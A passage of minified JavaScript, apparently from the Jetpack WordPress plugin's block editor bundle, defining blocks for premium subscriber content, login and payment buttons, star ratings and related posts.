term","jetpack"),"square","toast","venmo","stripe","substack"],attributes:{newPlanName:{type:"string",default:__("Monthly Subscription","jetpack")},newPlanCurrency:{type:"string",default:"USD"},newPlanPrice:{type:"number",default:5},newPlanInterval:{type:"string",default:"1 month"},selectedPlanId:{type:"number",default:0},isPreview:{type:"boolean",default:!1},isPremiumContentChild:{type:"bool",default:!0}},edit:c.Z,save:u.Z,providesContext:{"premium-content/planId":"selectedPlanId","premium-content/isPreview":"isPreview",isPremiumContentChild:"isPremiumContentChild"},supports:{html:!1},example:{attributes:{isPreview:!0}},transforms:{from:[{type:"block",isMultiBlock:!0,blocks:["*"],isMatch:(e,t)=>!e.some((e=>e.isPremiumContentChild))&&(void 0===t||p(t)),__experimentalConvert(e){if(!p(e))return;const t=e.map((e=>(0,r.createBlock)(e.name,e.attributes,e.innerBlocks)));return(0,r.createBlock)("premium-content/container",{},[(0,r.createBlock)("premium-content/subscriber-view",{},t),(0,r.createBlock)("premium-content/logged-out-view")])}}],to:[{type:"block",blocks:["core/group"],transform:(e,t)=>(0,s.e)(t)}]},deprecated:[l.Z]}},98143:function(e,t,n){"use strict";var r=n(2582),a=n(52439);t.Z=[r.Z,a.Z]},2582:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(4981);t.Z={attributes:{subscribeButtonText:{type:"string",default:"Subscribe"},loginButtonText:{type:"string",default:"Log In"},buttonClasses:{type:"string",default:""},backgroundButtonColor:{type:"string",default:""},textButtonColor:{type:"string",default:""},customBackgroundButtonColor:{type:"string",default:""},customTextButtonColor:{type:"string",default:""}},isEligible:e=>{let{buttonClasses:t}=e;return!!t},migrate:(e,t)=>{if(Array.isArray(t))for(let n=0;n<t.length;n++)if(t[n].name&&"premium-content/buttons"===t[n].name)return[e,[...t]];const n=(0,o.createBlock)("premium-content/buttons",{},[(0,o.createBlock)("jetpack/recurring-payments",{submitButtonText:e.subscribeButtonText,backgroundButtonColor:e.backgroundButtonColor,textButtonColor:e.textButtonColor,customBackgroundButtonColor:e.customBackgroundButtonColor,customTextButtonColor:e.customTextButtonColor}),(0,o.createBlock)("premium-content/login-button",{text:e.loginButtonText,backgroundColor:e.backgroundButtonColor,textColor:e.textButtonColor,style:{color:{background:e.customBackgroundButtonColor,text:e.customTextButtonColor}}})]);return[e,[...t,n]]},save:()=>(0,r.createElement)("div",{className:"wp-block-premium-content-logged-out-view"},(0,r.createElement)(a.InnerBlocks.Content,null))}},52439:function(e,t,n){"use strict";var r=n(51806);t.Z={attributes:{},supports:{inserter:!1,html:!1},save:()=>(0,r.createElement)("div",{className:"wp-block-premium-content-logged-out-view"})}},36694:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(52175),o=n(65736),i=n(59948),s=n(86614);const __=o.__;function l(){const e=(0,s.ch)();return(0,r.createElement)(i.Z.Consumer,null,(t=>{let{selectedTab:n}=t;return(0,r.createElement)("div",{hidden:"premium"===n.id,className:n.className},(0,r.createElement)(a.InnerBlocks,{allowedBlocks:e,templateLock:!1,templateInsertUpdatesSelection:!1,template:[["core/heading",{content:__("Subscribe to get access","jetpack"),level:3}],["core/paragraph",{content:__("Read more of this content when you subscribe today.","jetpack")}],["premium-content/buttons"]]}))}))}},9160:function(e,t,n){"use strict";n.d(t,{X:function(){return p},u:function(){return d}});var r=n(94333),a=n(9818),o=n(65736),i=n(72629),s=n(34601),l=n(98143),c=n(36694),u=n(96588);const __=o.__,d="premium-content/logged-out-view",p={title:__("Guest View","jetpack"),description:__("The container for all content shown to site visitors who are not subscribers.","jetpack"),icon:s.Z,category:"grow",parent:["premium-content/container"],supports:{inserter:!1,html:!1},edit:c.Z,save:u.Z,deprecated:l.Z},m=(0,a.subscribe)((()=>{const e=(0,a.select)("core/rich-text").getFormatType("core/link");if(!e)return;m(),(0,i.unregisterFormatType)("core/link");const t=(0,r.compose)((0,a.withSelect)((e=>({selectedBlock:e("core/block-editor").getSelectedBlock()}))),(0,r.ifCondition)((e=>e.selectedBlock&&e.selectedBlock.name!==d)))(e.edit);(0,i.registerFormatType)("core/link",{...e,edit:t})}))},96588:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(52175);function o(){return(0,r.createElement)("div",{className:"wp-block-premium-content-logged-out-view entry-content"},(0,r.createElement)(a.InnerBlocks.Content,null))}},34154:function(e,t,n){"use strict";var r=n(65736);const __=r.__;t.Z={text:{type:"string",source:"html",selector:"a",default:__("Log in","jetpack")},borderRadius:{type:"number"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},style:{type:"object"}}},98810:function(e,t,n){"use strict";var r=n(51806),a=n(92819),o=n(65736),i=n(69307),s=n(9818),l=n(52175);const __=o.__,c="web"===i.Platform.OS;const u=e=>{if(!(0,a.isObject)(e))return e;const t=(0,a.pickBy)((0,a.mapValues)(e,u),a.identity);return(0,a.isEqual)(t,{})?void 0:t};function d(e){let{settings:t,clientId:n,enableContrastChecking:a=!0}=e;const{getComputedStyle:o,Node:s}=window,[u,d]=(0,i.useState)(),[p,m]=(0,i.useState)(),h=c?__("Color settings","jetpack"):__("Color Settings","jetpack",0);return(0,i.useEffect)((()=>{if(c&&!a)return;const e=function(e){return document.getElementById("block-"+e)}(n);if(!e)return;m(o(e).color);let t=e,r=o(t).backgroundColor;for(;"rgba(0, 0, 0, 0)"===r&&t.parentNode&&t.parentNode.nodeType===s.ELEMENT_NODE;)t=t.parentNode,r=o(t).backgroundColor;d(r)})),(0,r.createElement)(l.InspectorControls,null,(0,r.createElement)(l.__experimentalPanelColorGradientSettings,{title:h,initialOpen:!1,settings:t},c&&a&&(0,r.createElement)(l.ContrastChecker,{backgroundColor:u,textColor:p})))}t.Z=function(e){const{attributes:t}=e,{colors:n,gradients:a}=(0,s.useSelect)((e=>e("core/block-editor").getSettings()),[]),o=(0,i.useRef)(t);(0,i.useEffect)((()=>{o.current=t}),[t]);const{style:c,textColor:p,backgroundColor:m,gradient:h}=t;let f;f=h?(0,l.getGradientValueBySlug)(a,h):c?.color?.gradient;const g=t=>r=>{const a=(0,l.getColorObjectByColorValue)(n,r),i=t+"Color",s={...o.current.style,color:{...o.current?.style?.color,[t]:a?.slug?void 0:r}},c=a?.slug?a.slug:void 0,d={style:u(s),[i]:c};e.setAttributes(d),o.current={...o.current,...d}};return(0,r.createElement)(d,{enableContrastChecking:!h&&!c?.color?.gradient,clientId:e.clientId,settings:[{label:__("Text Color","jetpack"),onColorChange:g("text"),colorValue:(0,l.getColorObjectByAttributeValues)(n,p,c?.color?.text).color},{label:__("Background Color","jetpack"),onColorChange:g("background"),colorValue:(0,l.getColorObjectByAttributeValues)(n,m,c?.color?.background).color,gradientValue:f,onGradientChange:t=>{const n=(0,l.getGradientSlugByValue)(a,t);let r;if(n){const e={...o.current?.style,color:{...o.current?.style?.color,gradient:void 0}};r={style:u(e),gradient:n}}else{const e={...o.current?.style,color:{...o.current?.style?.color,gradient:t}};r={style:u(e),gradient:void 0}}e.setAttributes(r),o.current={...o.current,...r}}}]})}},53201:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(65235),a=n.n(r),o=n(52175);function i(e){const{backgroundColor:t,textColor:n,gradient:r,style:i}=e,s=(0,o.getColorClassName)("background-color",t),l=(0,o.__experimentalGetGradientClass)(r),c=(0,o.getColorClassName)("color",n),u=a()(c,l,{[s]:!i?.color?.gradient&&!!s,"has-text-color":n||i?.color?.text,"has-background":t||i?.color?.background||r||i?.color?.gradient});return{className:u||void 0,style:i?.color?.background||i?.color?.text||i?.color?.gradient?{background:i?.color?.gradient?i.color.gradient:void 0,backgroundColor:i?.color?.background?i.color.background:void 0,color:i?.color?.text?i.color.text:void 0}:{}}}},74634:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(65736),i=n(65235),s=n.n(i),l=n(53201);const __=o.__;t.Z={attributes:{text:{type:"string",source:"html",selector:"a",default:__("Log in","jetpack")},borderRadius:{type:"number"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},style:{type:"object"}},supports:{align:!0,alignWide:!1,html:!1,lightBlockWrapper:!0,inserter:!1},save:e=>{let{attributes:t}=e;const{borderRadius:n,text:o}=t,i=(0,l.Z)(t),c=s()("wp-block-button__link",i.className,{"no-border-radius":0===n}),u={borderRadius:n?n+"px":void 0,...i.style};return(0,r.createElement)("div",{className:"wp-block-button"},(0,r.createElement)(a.RichText.Content,{tagName:"a",className:c,style:u,value:o}))}}},53163:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(69307),s=n(65736),l=n(65235),c=n.n(l),u=n(98810),d=n(53201);const __=s.__,p=0,m=50,h=5;function f(e){let{borderRadius:t="",setAttributes:n}=e;const a=(0,i.useCallback)((e=>{n({borderRadius:e})}),[n]);return(0,r.createElement)(o.PanelBody,{title:__("Border settings","jetpack")},(0,r.createElement)(o.RangeControl,{value:t,label:__("Border radius","jetpack"),min:p,max:m,initialPosition:h,allowReset:!0,onChange:a}))}t.Z=function(e){const{attributes:t,setAttributes:n,className:o}=e,{borderRadius:i,text:s}=t,l=(0,d.Z)(t),p=(0,a.useBlockProps)({className:"wp-block-button"});return(0,r.createElement)(r.Fragment,null,(0,r.createElement)("div",p,(0,r.createElement)(a.RichText,{placeholder:__("Add text…","jetpack"),value:s,onChange:e=>n({text:e}),withoutInteractiveFormatting:!0,className:c()(o,"wp-block-button__link",l.className,{"no-border-radius":0===i}),style:{borderRadius:i?i+"px":void 0,...l.style}})),(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(u.Z,e),(0,r.createElement)(f,{borderRadius:i,setAttributes:n})))}},88430:function(e,t,n){"use strict";n.d(t,{X:function(){return u},u:function(){return c}});var r=n(65736),a=n(58829),o=n(34154),i=n(74634),s=n(53163),l=n(91430);const __=r.__,c="premium-content/login-button",u={title:__("Premium Content login button","jetpack"),description:__("Prompt subscriber visitors to log in with a button-style link (only visible for logged out users).","jetpack"),category:"grow",attributes:o.Z,icon:a.Z,keywords:[__("link","jetpack")],supports:{align:!0,alignWide:!1,html:!1,lightBlockWrapper:!0,inserter:!1},styles:[{name:"fill",label:__("Fill","jetpack"),isDefault:!0},{name:"outline",label:__("Outline","jetpack")}],edit:s.Z,save:l.Z,deprecated:[i.Z]}},91430:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(52175),o=n(65235),i=n.n(o),s=n(53201);function l(e){let{attributes:t}=e;const{borderRadius:n,text:o,align:l}=t,c=(0,s.Z)(t),u=i()("wp-block-button","wp-block-premium-content-login-button",{alignleft:"left"===l},{aligncenter:"center"===l},{alignright:"right"===l}),d=i()("wp-block-button__link",c.className,{"no-border-radius":0===n}),p={borderRadius:n?n+"px":void 0,...c.style},m=a.useBlockProps.save({className:u});return(0,r.createElement)("div",m,(0,r.createElement)(a.RichText.Content,{tagName:"a",className:d,style:p,value:o}))}},96882:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(52175);function o(){return(0,r.createElement)("div",{className:"wp-block-premium-content-container"},(0,r.createElement)(a.InnerBlocks.Content,null))}},67416:function(e,t,n){"use strict";var r=n(19178);t.Z=[r.Z]},19178:function(e,t,n){"use strict";var r=n(51806);t.Z={attributes:{},supports:{inserter:!1,html:!1},save:()=>(0,r.createElement)("div",{className:"wp-block-premium-content-subscriber-view"})}},34166:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(94333),i=n(9818),s=n(65736),l=n(59948),c=n(86614);const __=s.__;t.Z=(0,o.compose)([(0,i.withSelect)(((e,t)=>({hasInnerBlocks:!!e("core/block-editor").getBlocksByClientId(t.clientId)[0].innerBlocks.length})))])((function(e){let{hasInnerBlocks:t}=e;const n=(0,c.ch)();return(0,r.createElement)(l.Z.Consumer,null,(e=>{let{selectedTab:o}=e;return(0,r.createElement)("div",{hidden:"wall"===o.id,className:o.className},(0,r.createElement)(a.InnerBlocks,{allowedBlocks:n,renderAppender:!t&&a.InnerBlocks.ButtonBlockAppender,templateLock:!1,templateInsertUpdatesSelection:!1,template:[["core/heading",{content:__("Subscriber Content","jetpack"),level:3}],["core/paragraph",{content:__("Add content here that will only be visible to your subscribers.","jetpack")}]]}))}))}))},52149:function(e,t,n){"use strict";n.d(t,{X:function(){return c},u:function(){return l}});var r=n(65736),a=n(34601),o=n(67416),i=n(34166),s=n(31356);const __=r.__,l="premium-content/subscriber-view",c={title:__("Subscriber View","jetpack"),description:__("The container for all content shown to subscribers.","jetpack"),icon:a.Z,category:"grow",attributes:{},edit:i.Z,save:s.Z,parent:["premium-content/container"],supports:{inserter:!1,html:!1},deprecated:o.Z}},31356:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(52175);function o(){return(0,r.createElement)("div",{className:"wp-block-premium-content-subscriber-view entry-content"},(0,r.createElement)(a.InnerBlocks.Content,null))}},10799:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(65736),s=n(92819);const __=i.__,l=e=>{let{id:t,setRating:n,children:a}=e;return(0,r.createElement)("span",{className:"jetpack-ratings-button",tabIndex:0,role:"button",onKeyDown:(o=t,e=>{let{code:t}=e;return"Enter"===t?n(o):null}),onClick:(e=>()=>n(e))(t)},a);var o};t.Z=e=>function(t){let{className:n,setAttributes:i,attributes:{align:c,color:u,rating:d,maxRating:p}}=t;const m=e=>{e===d?Math.ceil(d)===d&&(e-=.5):.5===d&&1===e&&(e=0),i({rating:e})};return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(a.BlockControls,null,(0,r.createElement)(a.AlignmentToolbar,{value:c,onChange:e=>i({align:e})})),(0,r.createElement)("div",{className:n,style:{textAlign:c}},(0,s.range)(1,p+1).map((t=>(0,r.createElement)(l,{key:t,id:t,setRating:m},(0,r.createElement)("span",null,(0,r.createElement)(e,{className:d>=t-.5?null:"is-rating-unfilled",color:u})),(0,r.createElement)("span",null,(0,r.createElement)(e,{className:d>=t?null:"is-rating-unfilled",color:u})))))),(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(o.PanelBody,{title:__("Settings","jetpack")},(0,r.createElement)(o.RangeControl,{label:__("Highest rating","jetpack"),value:p,onChange:e=>i({maxRating:e}),min:2,max:10}),(0,r.createElement)(a.PanelColorSettings,{title:__("Color Settings","jetpack"),initialOpen:!0,colorSettings:[{value:u,onChange:e=>i({color:e}),label:__("Color","jetpack")}]}))))}},36836:function(e,t,n){"use strict";var r=n(31985),a=n(90362);(0,r.Z)(a.u,a.X)},5056:function(e,t,n){"use strict";n.d(t,{d:function(){return o},r:function(){return i}});var r=n(51806),a=n(55609);const o=()=>(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{d:"M22 9.24l-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03L22 9.24zM12 15.4V6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28L12 15.4z"})),i=e=>{const t=(e=>e&&e.color?e.color:"currentColor")(e),n=(e=>e&&e.className?e.className:"")(e);return(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24",color:t},(0,r.createElement)(a.Path,{className:n,fill:t,stroke:t,d:"M12,17.3l6.2,3.7l-1.6-7L22,9.2l-7.2-0.6L12,2L9.2,8.6L2,9.2L7.5,14l-1.6,7L12,17.3z"}))}},90362:function(e,t,n){"use strict";n.d(t,{X:function(){return c},u:function(){return l}});var r=n(65736),a=n(70355),o=n(10799),i=n(5056),s=n(78403);const __=r.__,_x=r._x,l="rating-star",c={title:__("Star Rating","jetpack"),description:__("Rate movies, books, songs, recipes — anything you can put a number on.","jetpack"),icon:{src:i.d,foreground:(0,a.m)()},keywords:[_x("star","block search term","jetpack"),_x("rating","block search term","jetpack"),_x("review","block search term","jetpack")],category:"widgets",example:{},styles:[{name:"filled",label:_x("Filled","block style","jetpack"),isDefault:!0},{name:"outlined",label:_x("Outlined","block style","jetpack")}],attributes:{rating:{type:"number",default:1},maxRating:{type:"number",default:5},color:{type:"string"},align:{type:"string",default:"left"}},edit:(0,o.Z)(i.r),save:(0,s.Z)("★")}},78403:function(e,t,n){"use strict";var r=n(51806),a=n(92819);t.Z=e=>function(t){let{className:n,attributes:{align:o,rating:i,color:s}}=t;return(0,r.createElement)("figure",{className:n,style:{textAlign:o}},(0,a.range)(1,i+1).map((t=>(0,r.createElement)("span",{key:t,style:{color:s}},e))))}},7463:function(e,t,n){"use strict";var r=n(4981),a=n(92819);const o=["submitButtonText","submitButtonClasses","backgroundButtonColor","textButtonColor","customBackgroundButtonColor","customTextButtonColor"];t.Z={attributes:{planId:{type:"integer"},submitButtonText:{type:"string"},submitButtonClasses:{type:"string"},backgroundButtonColor:{type:"string"},textButtonColor:{type:"string"},customBackgroundButtonColor:{type:"string"},customTextButtonColor:{type:"string"},align:{type:"string"}},migrate:e=>{const t=(0,a.omit)(e,o),n={text:(i=e).submitButtonText,textColor:i.textButtonColor,customTextColor:i.customTextButtonColor,backgroundColor:i.backgroundButtonColor,customBackgroundColor:i.customBackgroundButtonColor};var i;return[t,[(0,r.createBlock)("jetpack/button",{element:"a",uniqueId:"recurring-payments-id",...n})]]},isEligible:(e,t)=>(0,a.isEmpty)(t)||(0,a.some)((0,a.pick)(e,o),Boolean),save:()=>null}},25370:function(e,t,n){"use strict";var r=n(51806),a=n(52175);t.Z={attributes:{planId:{type:"integer"},align:{type:"string"},url:{type:"string",default:"#"},uniqueId:{type:"string",default:"id"},width:{type:"string"}},supports:{html:!1,__experimentalExposeControlsToChildren:!0},save:e=>{let{attributes:{width:t}}=e;const n={width:t};t?.includes("%")&&(n.width=`calc( ${t} - var( --jetpack-payment-buttons-gap, 0 ) * ${(100-t.replace("%",""))/100} )`);const o=a.useInnerBlocksProps.save({...a.useBlockProps.save(),style:n});return(0,r.createElement)("div",o)}}},3821:function(e,t,n){"use strict";n.d(t,{Z:function(){return w}});var r=n(51806),a=n(13419),o=n(52175),i=n(55609),s=n(9818),l=n(12238),c=n(69307),u=n(92694),d=n(65736),p=n(99196),m=n(60386),h=n(16367),f=n(99307),g=n(81673),b=n(30429),v=n(7652),k=n(51527),y=n(56367);const __=d.__,E="recurring-payments";function w(e){let{attributes:t,clientId:n,context:d,setAttributes:w}=e;const{align:_,planId:C,width:S}=t,{isPremiumContentChild:j}=d,x=(0,f.j3)(),P=(0,s.useSelect)((e=>e(l.store)?.getCurrentPost()?.link),[]),L=(0,s.useSelect)((e=>e(v.h).getUpgradeUrl())),T=(0,p.useCallback)((e=>{w({planId:e,url:(e=>{if(f.yn!==x||!P)return"#";const t=new URL(P);return t.searchParams.set("recurring_payments",e),t.toString()})(e),uniqueId:`recurring-payments-${e}`})}),[x,P,w]);(0,c.useEffect)((()=>{T(C)}),[C,T]);const N=(0,a.OZ)("recurring-payments"),A=!N.available&&"missing_plan"===N.unavailableReason,R=!!L&&!A&&!j,{showProductManagementControls:I,showStripeNudge:M,showUpgradeNudge:B}=(0,u.applyFilters)("jetpack.recurringPayments.editorSettings",{showProductManagementControls:!0,showStripeNudge:!0,showUpgradeNudge:R},n);(0,g.Z)({attributes:t,setAttributes:w});const Z=(0,o.useBlockProps)({style:(0,k.r)({width:S})}),F=(0,o.useInnerBlocksProps)({},{template:[["jetpack/button",{element:"a",passthroughAttributes:{uniqueId:"uniqueId",url:"url"}}]],templateLock:"all",templateInsertUpdatesSelection:!0});return(0,r.createElement)("div",Z,I&&(0,r.createElement)(m.Z,{blockName:E,clientId:n,selectedProductId:C,setSelectedProductId:T}),(0,r.createElement)(o.InspectorControls,null,(0,r.createElement)(b.G,{align:_,width:S,onChange:e=>w({width:e})})),B&&(0,r.createElement)(i.Placeholder,{icon:y.qv,instructions:__("You'll need to upgrade your plan to use the Payments block.","jetpack"),label:y.TN},(0,r.createElement)(i.Button,{href:L,target:"_blank",variant:"secondary"},__("Upgrade your plan","jetpack")),(0,r.createElement)("div",{className:"membership-button__disclaimer"},(0,r.createElement)(i.ExternalLink,{href:"https://wordpress.com/support/wordpress-editor/blocks/payments/#related-fees"},__("Read more about Payments and related fees.","jetpack")))),M&&(0,r.createElement)(h.U,{blockName:E}),(0,r.createElement)("div",F))}},94315:function(e,t,n){"use strict";var r=n(31985),a=n(56367);(0,r.Z)(a.u2,a.Xd)},56367:function(e,t,n){"use strict";n.d(t,{TN:function(){return f},Xd:function(){return v},qv:function(){return g},u2:function(){return h}});var r=n(51806),a=n(13419),o=n(4981),i=n(55609),s=n(69307),l=n(65736),c=n(70355),u=(n(79162),n(7463)),d=n(25370),p=n(3821),m=n(53453);const __=l.__,_x=l._x,h="recurring-payments",f=__("Payment Button","jetpack"),g=(0,r.createElement)(i.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,r.createElement)(i.Rect,{x:"0",fill:"none",width:"24",height:"24"}),(0,r.createElement)(i.G,null,(0,r.createElement)(i.Path,{d:"M20 4H4c-1.105 0-2 .895-2 2v12c0 1.105.895 2 2 2h16c1.105 0 2-.895 2-2V6c0-1.105-.895-2-2-2zm0 2v2H4V6h16zM4 18v-6h16v6H4zm2-4h7v2H6v-2zm9 0h3v2h-3v-2z"}))),b=(0,a.Wp)()||(0,a.Ug)()?"https://wordpress.com/support/video-tutorials-add-payments-features-to-your-site-with-our-guides/#how-to-use-the-payments-block-video":"https://jetpack.com/support/jetpack-blocks/payments-block/",v={apiVersion:2,title:f,icon:{src:g,foreground:(0,c.m)()},description:(0,r.createElement)(s.Fragment,null,(0,r.createElement)("p",null,__("Button allowing you to sell products and subscriptions.","jetpack")),(0,r.createElement)(i.ExternalLink,{href:b},__("Support reference","jetpack"))),category:"earn",keywords:[_x("buy","block search term","jetpack"),_x("contribution","block search term","jetpack"),_x("commerce","block search term","jetpack"),_x("credit card","block search term","jetpack"),_x("debit card","block search term","jetpack"),_x("donate","block search term","jetpack"),_x("Donations","block search term","jetpack"),_x("earn","block search term","jetpack"),_x("ecommerce","block search term","jetpack"),"gofundme",_x("memberships","block search term","jetpack"),_x("money","block search term","jetpack"),_x("paid","block search term","jetpack"),"patreon",_x("pay","block search term","jetpack"),_x("payments","block search term","jetpack"),_x("products","block search term","jetpack"),_x("purchase","block search term","jetpack"),_x("recurring","block search term","jetpack"),_x("sell","block search term","jetpack"),_x("shop","block search term","jetpack"),"stripe",_x("subscribe","block search term","jetpack"),_x("subscriptions","block search term","jetpack"),_x("sponsor","block search term","jetpack"),"square","toast","venmo"],usesContext:["isPremiumContentChild"],providesContext:{"jetpack/parentBlockWidth":"width"},attributes:{planId:{type:"integer"},align:{type:"string"},url:{type:"string",default:"#"},uniqueId:{type:"string",default:"id"},width:{type:"string"}},edit:p.Z,save:m.Z,parent:["jetpack/payment-buttons"],supports:{html:!1,__experimentalExposeControlsToChildren:!0},deprecated:[d.Z,u.Z],transforms:{from:[{type:"block",blocks:["core/buttons"],isMatch:(e,t)=>void 0!==t&&1===t.innerBlocks.length&&"core/button"===t.innerBlocks[0].name,transform:(e,t)=>{var n,r;const a=t[0],i={element:"a",text:null!==(n=a.attributes.text)&&void 0!==n?n:"",className:null!==(r=a.attributes.className)&&void 0!==r?r:""},s=a.attributes.width;s&&(i.width=s.toString()+"%");const l=a.attributes.style?.border?.radius;l&&(i.borderRadius=parseInt(l.substring(0,l.length-2)));const c=(0,o.createBlock)("jetpack/button",i,[]);return(0,o.createBlock)("jetpack/"+h,{},[c])}}]}}},53453:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(52175),o=n(51527);function i(e){let{attributes:{width:t}}=e;const n=a.useInnerBlocksProps.save({...a.useBlockProps.save(),style:(0,o.r)({width:t})});return(0,r.createElement)("div",n)}},51527:function(e,t,n){"use strict";n.d(t,{r:function(){return r}});const r=e=>{let{width:t}=e;const n={width:t};return t?.includes("%")&&(n.width=`calc(${t} - var(--jetpack-payment-buttons-gap, 0) * ${(100-t.replace("%",""))/100})`),n}},53296:function(e,t,n){"use strict";n.d(t,{AP:function(){return l},Hj:function(){return s}});var r=n(51806),a=n(55609),o=n(65736);const __=o.__,i=6;function s(e){let{attributes:t,setAttributes:n}=e;const{displayContext:o,displayDate:s,displayThumbnails:l,postsToShow:c}=t;return(0,r.createElement)(a.PanelBody,{title:__("Related Posts Settings","jetpack")},(0,r.createElement)(a.ToggleControl,{label:__("Display thumbnails","jetpack"),checked:l,onChange:e=>n({displayThumbnails:e})}),(0,r.createElement)(a.ToggleControl,{label:__("Display date","jetpack"),checked:s,onChange:e=>n({displayDate:e})}),(0,r.createElement)(a.ToggleControl,{label:__("Display context (category or tag)","jetpack"),checked:o,onChange:e=>n({displayContext:e})}),(0,r.createElement)(a.RangeControl,{label:__("Number of posts","jetpack"),value:c,onChange:e=>n({postsToShow:Math.min(e,i)}),min:1,max:i}))}function l(e){let{attributes:t,setAttributes:n}=e;const{postLayout:o}=t,i=[{icon:"grid-view",title:__("Grid View","jetpack"),onClick:()=>n({postLayout:"grid"}),isActive:"grid"===o},{icon:"list-view",title:__("List View","jetpack"),onClick:()=>n({postLayout:"list"}),isActive:"list"===o}];return(0,r.createElement)(a.ToolbarGroup,{controls:i})}},86434:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(94333),s=n(9818),l=n(69307),c=n(65736),u=n(92819),d=n(53296);const __=c.__;function p(e){return(0,r.createElement)("div",{className:"jp-related-posts-i2__post",id:e.id,"aria-labelledby":e.id+"-heading"},(0,r.createElement)("strong",{id:e.id+"-heading",className:"jp-related-posts-i2__post-link"},e.isInSiteEditor?__("Preview unavailable in site editor.","jetpack"):__("Preview unavailable: you haven't published enough posts with similar content.","jetpack")),e.displayThumbnails&&(0,r.createElement)("figure",{className:"jp-related-posts-i2__post-image-placeholder","aria-label":__("Placeholder image","jetpack")},(0,r.createElement)(o.SVG,{className:"jp-related-posts-i2__post-image-placeholder-square",xmlns:"http://www.w3.org/2000/svg",width:"100%",height:"100%",viewBox:"0 0 350 200"},(0,r.createElement)("title",null,__("Grey square","jetpack")),(0,r.createElement)(o.Path,{d:"M0 0h350v200H0z",fill:"#8B8B96","fill-opacity":".1"})),(0,r.createElement)(o.SVG,{className:"jp-related-posts-i2__post-image-placeholder-icon",xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)("title",null,__("Icon for image","jetpack")),(0,r.createElement)(o.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(o.Path,{d:"M19 5v14H5V5h14m0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-4.86 8.86l-3 3.87L9 13.14 6 17h12l-3.86-5.14z"}))),e.displayDate&&(0,r.createElement)("div",{className:"jp-related-posts-i2__post-date has-small-font-size"},__("August 3, 2018","jetpack")),e.displayContext&&(0,r.createElement)("div",{className:"jp-related-posts-i2__post-context has-small-font-size"},__("In “Uncategorized”","jetpack")))}function m(e){return(0,r.createElement)("div",{className:"jp-related-posts-i2__post",id:e.id,"aria-labelledby":e.id+"-heading"},(0,r.createElement)("a",{className:"jp-related-posts-i2__post-link",id:e.id+"-heading",href:e.post.url,rel:"nofollow noopener noreferrer",target:"_blank"},e.post.title),e.displayThumbnails&&e.post.img&&e.post.img.src&&(0,r.createElement)("a",{className:"jp-related-posts-i2__post-img-link",href:e.post.url},(0,r.createElement)("img",{className:"jp-related-posts-i2__post-img",src:e.post.img.src,alt:e.post.title,rel:"nofollow noopener noreferrer",target:"_blank"})),e.displayDate&&(0,r.createElement)("div",{className:"jp-related-posts-i2__post-date has-small-font-size"},e.post.date),e.displayContext&&(0,r.createElement)("div",{className:"jp-related-posts-i2__post-context has-small-font-size"},e.post.context))}function h(e){const t="jp-related-posts-i2__row";let n=0;const a=e.posts.length>3;switch(e.posts.length){case 2:case 4:case 5:n=2;break;default:n=3}return(0,r.createElement)("div",null,(0,r.createElement)("div",{className:t,"data-post-count":e.posts.slice(0,n).length},e.posts.slice(0,n)),a&&(0,r.createElement)("div",{className:t,"data-post-count":e.posts.slice(n).length},e.posts.slice(n)))}class f extends l.Component{render(){const{attributes:e,className:t,posts:n,setAttributes:o,instanceId:i,isInSiteEditor:s}=this.props,{displayContext:c,displayDate:u,displayThumbnails:f,postLayout:g,postsToShow:b}=e,v="jp-relatedposts-i2",k=[];for(let e=0;e<b;e++)n[e]?k.push((0,r.createElement)(m,{id:`related-posts-${i}-post-${e}`,key:v+"-"+e,post:n[e],displayThumbnails:f,displayDate:u,displayContext:c})):k.push((0,r.createElement)(p,{id:`related-posts-${i}-post-${e}`,key:"related-post-placeholder-"+e,displayThumbnails:f,displayDate:u,displayContext:c,isInSiteEditor:s}));return(0,r.createElement)(l.Fragment,null,(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(d.Hj,{attributes:e,setAttributes:o})),(0,r.createElement)(a.BlockControls,null,(0,r.createElement)(d.AP,{attributes:e,setAttributes:o})),(0,r.createElement)("div",{className:t,id:`related-posts-${i}`},(0,r.createElement)("div",{className:v,"data-layout":g},(0,r.createElement)(h,{posts:k}))))}}t.ZP=(0,i.compose)(i.withInstanceId,(0,s.withSelect)((e=>{const{getCurrentPost:t}=e("core/editor"),n=t();return{posts:(0,u.get)(n,"jetpack-related-posts",[]),isInSiteEditor:(0,u.isEmpty)(n)}})))(f)},89517:function(e,t,n){"use strict";var r=n(31985),a=n(92882);(0,r.Z)(a.u2,a.Xd)},92882:function(e,t,n){"use strict";n.d(t,{Xd:function(){return u},u2:function(){return 